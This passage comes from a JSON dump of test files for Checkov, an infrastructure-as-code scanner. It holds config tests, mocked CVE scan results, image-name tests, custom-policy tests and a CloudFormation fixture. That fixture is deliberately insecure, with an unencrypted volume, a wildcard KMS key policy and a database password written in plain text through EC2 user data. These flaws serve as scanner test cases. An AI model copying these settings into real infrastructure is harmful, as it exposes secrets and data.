[{'enabled': ['${var.is_enabled}']}]}}}\n    actual_config = update_dictionary_attribute(origin_config, key_to_update, new_value)\n    assert expected_config == actual_config, f'failed to update config.\\nexpected: {expected_config}\\ngot: {actual_config}'\n\n\ndef test_update_dictionary_locals():\n    origin_config = {'aws_s3_bucket': {\n        'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'],\n                        'versioning': [{'enabled': ['${var.is_enabled}']}]}}}\n    key_to_update = 'acl'\n    new_value = ['public-read']\n    expected_config = {'aws_s3_bucket': {\n        'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['public-read'],\n                        'versioning': [{'enabled': ['${var.is_enabled}']}]}}}\n    actual_config = update_dictionary_attribute(origin_config, key_to_update, new_value)\n    assert expected_config == actual_config, f'failed to update config.\\nexpected: {expected_config}\\ngot: {actual_config}'\n"
  },
  {
    "path": "tests/common/image_referencer/test_utils.py",
    "content": "from __future__ import annotations\n\nimport asyncio\nimport sys\n\n\ndef mock_get_empty_license_statuses_async(packages, image_name: str):\n    result = {'image_name': image_name, 'licenses': []}\n\n    if sys.version_info < (3, 8):\n        future = asyncio.Future()\n        future.set_result(result)\n        return future\n\n    return result\n\n\ndef mock_get_license_statuses_async(packages, image_name: str) -> dict[str, str | list[dict[str, str]]]:\n    result = {\n        \"image_name\": image_name,\n        \"licenses\": [\n            {\n                \"package_name\": \"openssl\",\n                \"package_version\": \"1.1.1q-r0\",\n                \"policy\": \"BC_LIC_1\",\n                \"license\": \"OpenSSL\",\n                \"status\": \"OPEN\",\n            },\n            {\n                \"package_name\": \"musl\",\n                \"package_version\": \"1.2.3-r0\",\n                \"policy\": \"BC_LIC_1\",\n                \"license\": \"MIT\",\n                \"status\": \"COMPLIANT\",\n            },\n        ]\n    }\n\n    if sys.version_info < (3, 8):\n        future = asyncio.Future()\n        future.set_result(result)\n        return future\n\n    return result\n\n\ndef mock_get_image_cached_result_async(image_id: str):\n    result = {\n        \"results\": [\n            {\n                \"id\": \"sha256:2460522297a148c1bcb477b126451ed44cca05c916694367313be1a91c69f793\",\n                \"name\": \"redis:latest\",\n                \"distro\": \"Debian GNU/Linux 11 (bullseye)\",\n                \"distroRelease\": \"bullseye\",\n                \"digest\": \"sha256:091a7b5de688f283b30a4942280b64cf822bbdab0abfb2d2ce6db989f2d3c3f4\",\n                \"collections\": [\n                    \"All\"\n                ],\n                \"packages\": [\n                    {\n                        \"type\": \"os\",\n                        \"name\": \"tzdata\",\n                        \"version\": \"2021a-1+deb11u5\"\n                    }\n                ],\n                \"compliances\": [\n                    {\n                        \"id\": 41,\n                        \"title\": \"(CIS_Docker_v1.2.0 - 4.1) Image should be created with a non-root user\",\n                        \"severity\": \"high\",\n                        \"description\": \"It is a good practice to run the container as a non-root user, if possible. Though user\\nnamespace mapping is now available, if a user is already defined in the container image, the\\ncontainer is run as that user by default and specific user namespace remapping is not\\nrequired\"\n                    }\n                ],\n                \"complianceDistribution\": {\n                    \"critical\": 0,\n                    \"high\": 1,\n                    \"medium\": 0,\n                    \"low\": 0,\n                    \"total\": 1\n                },\n                \"complianceScanPassed\": \"true\",\n                \"vulnerabilities\": [\n                    {\n                        \"id\": \"CVE-2021-38297\",\n                        \"status\": \"fixed in 1.17.2, 1.16.9\",\n                        \"cvss\": 9.8,\n                        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                        \"description\": \"Go before 1.16.9 and 1.17.x before 1.17.2 has a Buffer Overflow via large arguments in a function invocation from a WASM module, when GOARCH\\u003dwasm GOOS\\u003djs is used.\",\n                        \"severity\": \"critical\",\n                        \"packageName\": \"go\",\n                        \"packageVersion\": \"1.16.7\",\n                        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2021-38297\",\n                        \"riskFactors\": [\n                            \"Attack complexity: low\",\n                            \"Attack vector: network\",\n                            \"Critical severity\",\n                            \"Has fix\",\n                            \"Recent vulnerability\"\n                        ],\n                        \"impactedVersions\": [\n                            \"\\u003c1.16.9\"\n                        ],\n                        \"publishedDate\": \"2021-10-18T06:15:00Z\",\n                        \"discoveredDate\": \"2022-09-18T14:26:20Z\",\n                        \"fixDate\": \"2021-10-18T06:15:00Z\"\n                    },\n                    {\n                        \"id\": \"CVE-2022-23806\",\n                        \"status\": \"fixed in 1.17.7, 1.16.14\",\n                        \"cvss\": 9.1,\n                        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\",\n                        \"description\": \"Curve.IsOnCurve in crypto/elliptic in Go before 1.16.14 and 1.17.x before 1.17.7 can incorrectly return true in situations with a big.Int value that is not a valid field element.\",\n                        \"severity\": \"critical\",\n                        \"packageName\": \"go\",\n                        \"packageVersion\": \"1.16.7\",\n                        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2022-23806\",\n                        \"riskFactors\": [\n                            \"Recent vulnerability\",\n                            \"Attack complexity: low\",\n                            \"Attack vector: network\",\n                            \"Critical severity\",\n                            \"Has fix\"\n                        ],\n                        \"impactedVersions\": [\n                            \"\\u003c1.16.14\"\n                        ],\n                        \"publishedDate\": \"2022-02-11T01:15:00Z\",\n                        \"discoveredDate\": \"2022-09-18T14:26:20Z\",\n                        \"fixDate\": \"2022-02-11T01:15:00Z\"\n                    },\n                    {\n                        \"id\": \"CVE-2022-30580\",\n                        \"status\": \"fixed in 1.18.3, 1.17.11\",\n                        \"cvss\": 7.8,\n                        \"vector\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\n                        \"description\": \"Code injection in Cmd.Start in os/exec before Go 1.17.11 and Go 1.18.3 allows execution of any binaries in the working directory named either \\\\\\\"..com\\\\\\\" or \\\\\\\"..exe\\\\\\\" by calling Cmd.Run, Cmd.Start, Cmd.Output, or Cmd.CombinedOutput when Cmd.Path is unset.\",\n                        \"severity\": \"high\",\n                        \"packageName\": \"go\",\n                        \"packageVersion\": \"1.16.7\",\n                        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2022-30580\",\n                        \"riskFactors\": [\n                            \"Attack complexity: low\",\n                            \"Has fix\",\n                            \"High severity\",\n                            \"Recent vulnerability\"\n                        ],\n                        \"impactedVersions\": [\n                            \"\\u003c1.17.11\"\n                        ],\n                        \"publishedDate\": \"2022-08-10T20:15:00Z\",\n                        \"discoveredDate\": \"2022-09-18T14:26:20Z\",\n                        \"fixDate\": \"2022-08-10T20:15:00Z\"\n                    }\n                ],\n                \"vulnerabilityDistribution\": {\n                    \"critical\": 2,\n                    \"high\": 19,\n                    \"medium\": 5,\n                    \"low\": 12,\n                    \"total\": 38\n                },\n                \"vulnerabilityScanPassed\": \"true\"\n            }\n        ]\n    }\n\n    if sys.version_info < (3, 8):\n        future = asyncio.Future()\n        future.set_result(result)\n        return future\n\n    return result\n"
  },
  {
    "path": "tests/common/images/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/images/test_base_image_referencer.py",
    "content": "import unittest\n\n\nclass TestImageReferencerBase(unittest.TestCase):\n    # noinspection PyMethodMayBeStatic\n    def run_is_valid_public_image_valid(self, image_name: str) -> bool:\n        from checkov.common.images.image_referencer import is_valid_public_image_name\n        return is_valid_public_image_name(image_name)\n\n    def test_invalid_image_name_replace(self):\n        self.assertFalse(self.run_is_valid_public_image_valid('registry-auth.twistlock.com/tw_<REPLACE_TWISTLOCK_TOKEN>/twistlock/console:console_20_04_163'))\n\n    def test_invalid_image_name_extraction(self):\n        self.assertFalse(self.run_is_valid_public_image_valid(\n            \"gcr.io/[\\\"${{'develop': {'project_id': 'develop'}, 'production': {'project_id': 'production'}}[\\\"var.env\\\"].project_id}\\\"]/notifier:aa123aa\"\n        ))\n\n    def test_invalid_image_name_var_reference(self):\n        self.assertFalse(self.run_is_valid_public_image_valid('gcr.io/example/base:$IMAGE_TAG'))\n\n    def test_localhost_image_name(self):\n        self.assertFalse(self.run_is_valid_public_image_valid('localhost:320000/video-conferencing-ms-example'))\n\n    def test_cname_with_port_image_name(self):\n        self.assertFalse(self.run_is_valid_public_image_valid('example.local:5004/video-conferencing-ms-example:1.2.3'))\n\n    def test_valid_image_name(self):\n        self.assertTrue(self.run_is_valid_public_image_valid('node:16'))\n\n    def test_valid_image_name_2(self):\n        self.assertTrue(self.run_is_valid_public_image_valid('ubuntu'))\n\n    def test_valid_image_name_3(self):\n        self.assertTrue(self.run_is_valid_public_image_valid('gcr.io/develop/notifier:aa123aa'))\n"
  },
  {
    "path": "tests/common/integration_features/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/integration_features/example_custom_policy_dir/cfn.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: AWS CloudFormation Template to deploy insecure infrastructure\nParameters:\n  LatestAmiId:\n    Type: AWS::SSM::Parameter::Value<AWS::EC2::Image::Id>\n    Default: /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2\n#test\nResources:\n  ####################\n  ###  EC2 in VPC  ###\n  ####################\n  WebHostStorage:\n    # Unencrypted Volume\n    Type: AWS::EC2::Volume\n    Properties:\n      AvailabilityZone: !Select\n        - 0\n        - Fn::GetAZs: \"\"\n      #Encrypted: False\n      Size: 1\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-ebs\"\n\n  #############\n  ###  KMS  ###\n  #############\n\n  LogsKey:\n    # Key does not have rotation enabled\n    Type: AWS::KMS::Key\n    Properties:\n      Description: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-logs bucket key\"\n      PendingWindowInDays: 7\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable IAM User Permissions\n          Effect: Allow\n          Principal:\n            AWS: !Sub arn:aws:iam::${AWS::AccountId}:root\n          Action: kms:*\n          Resource: '*'\n\n  LogsKeyAlias:\n    Type: AWS::KMS::Alias\n    Properties:\n      AliasName: !Sub \"alias/${AWS::AccountId}-${CompanyName}-${Environment}-logs-bucket-key\"\n      TargetKeyId: !Ref LogsKey\n\n  DBAppInstance:\n    # EC2 have plain text secrets in user data\n    Type: AWS::EC2::Instance\n    Properties:\n      AvailabilityZone:\n        Fn::Select:\n        - 0\n        - Fn::GetAZs: \"\"\n      ImageId: !Ref LatestAmiId\n      InstanceType: t2.nano\n      IamInstanceProfile: !Ref EC2Profile\n      SecurityGroupIds:\n        - !Ref WebNodeSG\n      SubnetId: !Ref WebSubnet\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-dbapp\"\n      UserData:\n        Fn::Base64: !Sub |\n          #!/bin/bash\n          ### Config from https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html\n          sudo yum -y update\n          sudo yum -y install httpd php php-mysqlnd\n          sudo systemctl enable httpd\n          sudo systemctl start httpd\n          sudo mkdir /var/www/inc\n          cat << EnD > /tmp/dbinfo.inc\n          <?php\n          define('DB_SERVER', '${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}');\n          define('DB_USERNAME', 'admin');\n          define('DB_PASSWORD', '${Password}');\n          define('DB_DATABASE', '${DefaultDB}');\n          ?>\n          EnD\n          sudo mv /tmp/dbinfo.inc /var/www/inc\n          sudo chown root:root /var/www/inc/dbinfo.inc\n          cat << EnD > /tmp/index.php\n          <?php include \"../inc/dbinfo.inc\"; ?>\n          <html>\n          <body>\n          <h1>Sample page</h1>\n          <?php\n            /* Connect to MySQL and select the database. */\n            $connection = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD);\n            if (mysqli_connect_errno()) echo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n            $database = mysqli_select_db($connection, DB_DATABASE);\n            /* Ensure that the EMPLOYEES table exists. */\n            VerifyEmployeesTable($connection, DB_DATABASE);\n            /* If input fields are populated, add a row to the EMPLOYEES table. */\n            $employee_name = htmlentities($_POST['NAME']);\n            $employee_address = htmlentities($_POST['ADDRESS']);\n            if (strlen($employee_name) || strlen($employee_address)) {\n              AddEmployee($connection, $employee_name, $employee_address);\n            }\n          ?>\n          <!-- Input form -->\n          <form action=\"<?PHP echo $_SERVER['SCRIPT_NAME'] ?>\" method=\"POST\">\n            <table border=\"0\">\n              <tr>\n                <td>NAME</td>\n                <td>ADDRESS</td>\n              </tr>\n              <tr>\n                <td>\n                  <input type=\"text\" name=\"NAME\" maxlength=\"45\" size=\"30\" />\n                </td>\n                <td>\n                  <input type=\"text\" name=\"ADDRESS\" maxlength=\"90\" size=\"60\" />\n                </td>\n                <td>\n                  <input type=\"submit\" value=\"Add Data\" />\n                </td>\n              </tr>\n            </table>\n          </form>\n          <!-- Display table data. -->\n          <table border=\"1\" cellpadding=\"2\" cellspacing=\"2\">\n            <tr>\n              <td>ID</td>\n              <td>NAME</td>\n              <td>ADDRESS</td>\n            </tr>\n          <?php\n          $result = mysqli_query($connection, \"SELECT * FROM EMPLOYEES\");\n          while($query_data = mysqli_fetch_row($result)) {\n            echo \"<tr>\";\n            echo \"<td>\",$query_data[0], \"</td>\",\n                 \"<td>\",$query_data[1], \"</td>\",\n                 \"<td>\",$query_data[2], \"</td>\";\n            echo \"</tr>\";\n          }\n          ?>\n          </table>\n          <!-- Clean up. -->\n          <?php\n            mysqli_free_result($result);\n            mysqli_close($connection);\n          ?>\n          </body>\n          </html>\n          <?php\n          /* Add an employee to the table. */\n          function AddEmployee($connection, $name, $address) {\n             $n = mysqli_real_escape_string($connection, $name);\n             $a = mysqli_real_escape_string($connection, $address);\n             $query = \"INSERT INTO EMPLOYEES (NAME, ADDRESS) VALUES ('$n', '$a');\";\n             if(!mysqli_query($connection, $query)) echo(\"<p>Error adding employee data.</p>\");\n          }\n          /* Check whether the table exists and, if not, create it. */\n          function VerifyEmployeesTable($connection, $dbName) {\n            if(!TableExists(\"EMPLOYEES\", $connection, $dbName))\n            {\n               $query = \"CREATE TABLE EMPLOYEES (\n                   ID int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n                   NAME VARCHAR(45),\n                   ADDRESS VARCHAR(90)\n                 )\";\n               if(!mysqli_query($connection, $query)) echo(\"<p>Error creating table.</p>\");\n            }\n          }\n          /* Check for the existence of a table. */\n          function TableExists($tableName, $connection, $dbName) {\n            $t = mysqli_real_escape_string($connection, $tableName);\n            $d = mysqli_real_escape_string($connection, $dbName);\n            $checktable = mysqli_query($connection,\n                \"SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME = '$t' AND TABLE_SCHEMA = '$d'\");\n            if(mysqli_num_rows($checktable) > 0) return true;\n            return false;\n          }\n          ?>\n          EnD\n          sudo mv /tmp/index.php /var/www/html\n          sudo chown root:root /var/www/html/index.php\n\nOutputs:\n  EC2PublicDNS:\n    # test comment\n    # test comment2\n    Description: Web Host Public DNS Name\n    Value: !GetAtt [EC2Instance, PublicDnsName]\n  VpcId:\n    Description: The ID of the VPC\n    # test comment\n    Value: !Ref WebVPC\n  PublicSubnet:\n    Description: The ID of the Public Subnet\n    Value: !Ref WebSubnet\n    # test comment\n  PublicSubnet2:\n    Description: The ID of the Public Subnet\n    Value: !Ref WebSubnet2\n\n  UserName:\n    Description: The Name of the IAM User\n    Value: !Ref User\n\n\n"
  },
  {
    "path": "tests/common/integration_features/example_custom_policy_dir/main.tf",
    "content": "\nresource \"aws_s3_bucket\" \"b1\" {\n  bucket = \"bucket1\"\n}\n"
  },
  {
    "path": "tests/common/integration_features/example_custom_policy_dir/msk.yaml",
    "content": "Description: MSK Cluster with required properties.\nResources:\n  ClusterBadNoLoggingInfo:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      Tags:\n        - Key: yor_trace\n          Value: \"mock_trace\"\n  ClusterBadNoLoggingDisabled:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: false\n  ClusterCloudWatchLogsGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: true\n  ClusterFirehoseGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          Firehose:\n            Enabled: true\n  Clusters3Good:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          S3:\n            Enabled: true\n  ClusterAllGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: true\n          Firehose:\n            Enabled: true\n          S3:\n            Enabled: true\n\n\n"
  },
  {
    "path": "tests/common/integration_features/resources/main.tf",
    "content": "resource \"aws_subnet\" \"s\" {\n  map_public_ip_on_launch = true\n}\n"
  },
  {
    "path": "tests/common/integration_features/test_custom_policies_integration.py",
    "content": "import json\nimport os\nimport unittest\nfrom copy import deepcopy\n\nfrom checkov.common.bridgecrew.integration_features.features.custom_policies_integration import \\\n    CustomPoliciesIntegration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry, get_all_graph_checks_registries, get_graph_checks_registry, \\\n    GraphSupportedIACFrameworks\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.terraform.runner import Runner as TerraformRunner\nfrom checkov.cloudformation.runner import Runner as CFNRunner\nfrom checkov.runner_filter import RunnerFilter\nfrom pathlib import Path\n\n\nclass TestCustomPoliciesIntegration(unittest.TestCase):\n    def tearDown(self) -> None:\n        for framework in GraphSupportedIACFrameworks:\n            get_graph_checks_registry(framework.value.lower()).checks = []\n\n    def test_integration_valid(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n\n        custom_policies_integration = CustomPoliciesIntegration(instance)\n\n        self.assertTrue(custom_policies_integration.is_valid())\n\n        instance.skip_download = True\n        self.assertFalse(custom_policies_integration.is_valid())\n\n        instance.platform_integration_configured = False\n        self.assertFalse(custom_policies_integration.is_valid())\n\n        instance.skip_download = False\n        self.assertFalse(custom_policies_integration.is_valid())\n\n        custom_policies_integration.integration_feature_failures = True\n        self.assertFalse(custom_policies_integration.is_valid())\n\n    def test_policy_load(self):\n        # response from API\n        policies = [\n            {\n                \"id\": \"policy_id_1\",\n                \"title\": \"yaml1\",\n                \"severity\": \"MEDIUM\",\n                \"category\": \"General\",\n                \"guideline\": \"yaml1\",\n                \"code\": json.dumps({\n                    \"or\": [\n                        {\n                            \"value\": \"xyz\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"xyz\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"aws_s3_bucket\"\n                            ]\n                        }\n                    ]\n                }),\n                \"benchmarks\": {},\n            },\n            {\n                \"id\": \"policy_id_2\",\n                \"title\": \"ui1\",\n                \"severity\": \"HIGH\",\n                \"category\": \"General\",\n                \"guideline\": \"ui1\",\n                \"code\": json.dumps({\n                    \"value\": \"abc\",\n                    \"operator\": \"equals\",\n                    \"attribute\": \"region\",\n                    \"cond_type\": \"attribute\",\n                    \"resource_types\": [\n                        \"aws_s3_bucket\"\n                    ]\n                }),\n                \"benchmarks\": {},\n            },\n            {\n                \"id\": \"policy_id_3\",\n                \"title\": \"Check that all EC2 instances are tagged with yor_trace\",\n                \"descriptiveTitle\": \"null\",\n                \"constructiveTitle\": \"null\",\n                \"severity\": \"LOW\",\n                \"pcSeverity\": \"null\",\n                \"category\": \"General\",\n                \"guideline\": \"Check for YOR tagging\",\n                \"code\": json.dumps({\n                    \"operator\": \"exists\",\n                    \"attribute\": \"Tags.yor_trace\",\n                    \"cond_type\": \"attribute\",\n                    \"resource_types\": [\n                        \"AWS::EC2::Instance\"\n                    ]\n                }),\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"Terraform\",\n                    \"CloudFormation\"\n                ],\n            },\n            {\n                \"id\": \"policy_id_4\",\n                \"title\": \"Custom - ensure MSK Cluster logging is enabled\",\n                \"descriptiveTitle\": \"null\",\n                \"constructiveTitle\": \"null\",\n                \"severity\": \"MEDIUM\",\n                \"pcSeverity\": \"null\",\n                \"category\": \"Logging\",\n                \"resourceTypes\": [\n                    \"AWS::MSK::Cluster\"\n                ],\n                \"accountsData\": {},\n                \"guideline\": \"Some sample guidelines\",\n                \"isCustom\": True,\n                \"code\": json.dumps({\n                    \"or\": [\n                        {\n                            \"value\": \"true\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"LoggingInfo.BrokerLogs.S3.Enabled\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"AWS::MSK::Cluster\"\n                            ]\n                        },\n                        {\n                            \"value\": \"true\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"LoggingInfo.BrokerLogs.Firehose.Enabled\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"AWS::MSK::Cluster\"\n                            ]\n                        },\n                        {\n                            \"value\": \"true\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"LoggingInfo.BrokerLogs.CloudWatchLogs.Enabled\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"AWS::MSK::Cluster\"\n                            ]\n                        }\n                    ]\n                }),\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"Terraform\",\n                    \"CloudFormation\"\n                ],\n            }\n        ]\n\n        # for this test, we simulate some of the check registry manipulation; otherwise the singleton\n        # instance will be modified and break other tests.\n\n        parser = GraphCheckParser()\n\n        registry = Registry(parser=GraphCheckParser(), checks_dir=str(\n            Path(__file__).parent.parent.parent.parent / \"checkov\" / \"terraform\" / \"checks\" / \"graph_checks\"))\n        checks = [parser.parse_raw_check(CustomPoliciesIntegration._convert_raw_check(p)) for p in policies]\n        registry.checks = checks  # simulate that the policy downloader will do\n\n        tf_runner = TerraformRunner(external_registries=[registry])\n        cfn_runner = CFNRunner(external_registries=[registry])\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_custom_policy_dir\"\n\n        report = tf_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter())\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_2']), 1)\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_1']), 1)\n\n        report = tf_runner.run(root_folder=test_files_dir,\n                               runner_filter=RunnerFilter(checks=['policy_id_2']))\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_2']), 1)\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_1']), 0)\n\n        report = tf_runner.run(root_folder=test_files_dir,\n                               runner_filter=RunnerFilter(skip_checks=['policy_id_2']))\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_2']), 0)\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_1']), 1)\n\n        report = cfn_runner.run(root_folder=test_files_dir,\n                                runner_filter=RunnerFilter(checks=['policy_id_4']))\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_4']), 2)\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_3']), 0)\n\n        report = cfn_runner.run(root_folder=test_files_dir,\n                                runner_filter=RunnerFilter(checks=['policy_id_3']))\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_3']), 1)\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_4']), 0)\n\n        report = cfn_runner.run(root_folder=test_files_dir,\n                                runner_filter=RunnerFilter(skip_checks=['policy_id_3']))\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_3']), 0)\n        self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_4']), 2)\n\n    def test_pre_scan_with_cloned_checks(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n        custom_policies_integration = CustomPoliciesIntegration(instance)\n\n        instance.customer_run_config_response = mock_custom_policies_response()\n\n        custom_policies_integration.pre_scan()\n        cfn_registry = get_graph_checks_registry(\"cloudformation\").checks\n        tf_registry = get_graph_checks_registry(\"terraform\").checks\n        k8s_registry = get_graph_checks_registry(\"kubernetes\").checks\n        bicep_registry = get_graph_checks_registry(\"bicep\").checks\n        arm_registry = get_graph_checks_registry(\"arm\").checks\n        self.assertEqual(1, len(custom_policies_integration.bc_cloned_checks))\n        self.assertEqual('kpande_AZR_1648821862291', tf_registry[0].id, cfn_registry[0].id)\n        self.assertEqual('kpande_AZR_1648821862291', tf_registry[0].bc_id, cfn_registry[0].bc_id)\n        self.assertEqual('kpande_kubernetes_1650378013211', k8s_registry[0].id)\n        self.assertEqual('kpande_kubernetes_1650378013211', k8s_registry[0].bc_id)\n        self.assertEqual('kpande_bicep_1650378013212', bicep_registry[0].id)\n        self.assertEqual('kpande_bicep_1650378013212', bicep_registry[0].bc_id)\n        self.assertEqual('kpande_arm_1650378013213', arm_registry[0].bc_id)\n        self.assertEqual('kpande_arm_1650378013213', arm_registry[0].bc_id)\n\n    def test_pre_scan_with_multiple_frameworks_graph_check(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n        custom_policies_integration = CustomPoliciesIntegration(instance)\n\n        instance.customer_run_config_response = mock_multiple_frameworks_custom_policy_response()\n\n        custom_policies_integration.pre_scan()\n        bicep_registry_checks = get_graph_checks_registry(\"bicep\").checks\n        all_graph_checks = get_all_graph_checks_registries()\n        for registry in all_graph_checks:\n            multiple_frameworks_custom_policy_exist = False\n            for check in registry.checks:\n                if check.bc_id == 'multiple_frameworks_policy_1625063607541':\n                    multiple_frameworks_custom_policy_exist = True\n            self.assertEqual(True, multiple_frameworks_custom_policy_exist)\n        self.assertEqual(2, len(bicep_registry_checks))\n\n    def test_post_runner_with_cloned_checks(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n        custom_policies_integration = CustomPoliciesIntegration(instance)\n\n        # mock _get_policies_from_platform method\n        instance.customer_run_config_response = mock_custom_policies_response()\n        custom_policies_integration.pre_scan()\n\n        scan_reports = Report(\"terraform\")\n        record = Record(\n            check_id=\"CKV_AWS_5\",\n            check_name=\"Ensure all data stored in the Elasticsearch is securely encrypted at rest\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=\"./main.tf\",\n            file_line_range=[7, 10],\n            resource=\"aws_elasticsearch_domain.enabled\",\n            evaluations=None,\n            check_class='',\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n            bc_check_id=\"BC_AWS_ELASTICSEARCH_3\"\n        )\n        scan_reports.failed_checks.append(record)\n\n        custom_policies_integration.post_runner(scan_reports)\n        self.assertEqual(2, len(scan_reports.failed_checks))\n        self.assertEqual('mikepolicies_cloned_AWS_1625063607541', scan_reports.failed_checks[1].check_id)\n\n    def test_post_runner_with_cloned_checks_with_suppression(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n        custom_policies_integration = CustomPoliciesIntegration(instance)\n\n        # mock _get_policies_from_platform method\n        instance.customer_run_config_response = mock_custom_policies_response()\n        custom_policies_integration.pre_scan()\n\n        scan_reports = Report(\"terraform\")\n        record = Record(\n            check_id=\"CKV_AWS_5\",\n            check_name=\"Ensure all data stored in the Elasticsearch is securely encrypted at rest\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=\"./main.tf\",\n            file_line_range=[7, 10],\n            resource=\"aws_elasticsearch_domain.enabled\",\n            evaluations=None,\n            check_class='',\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n            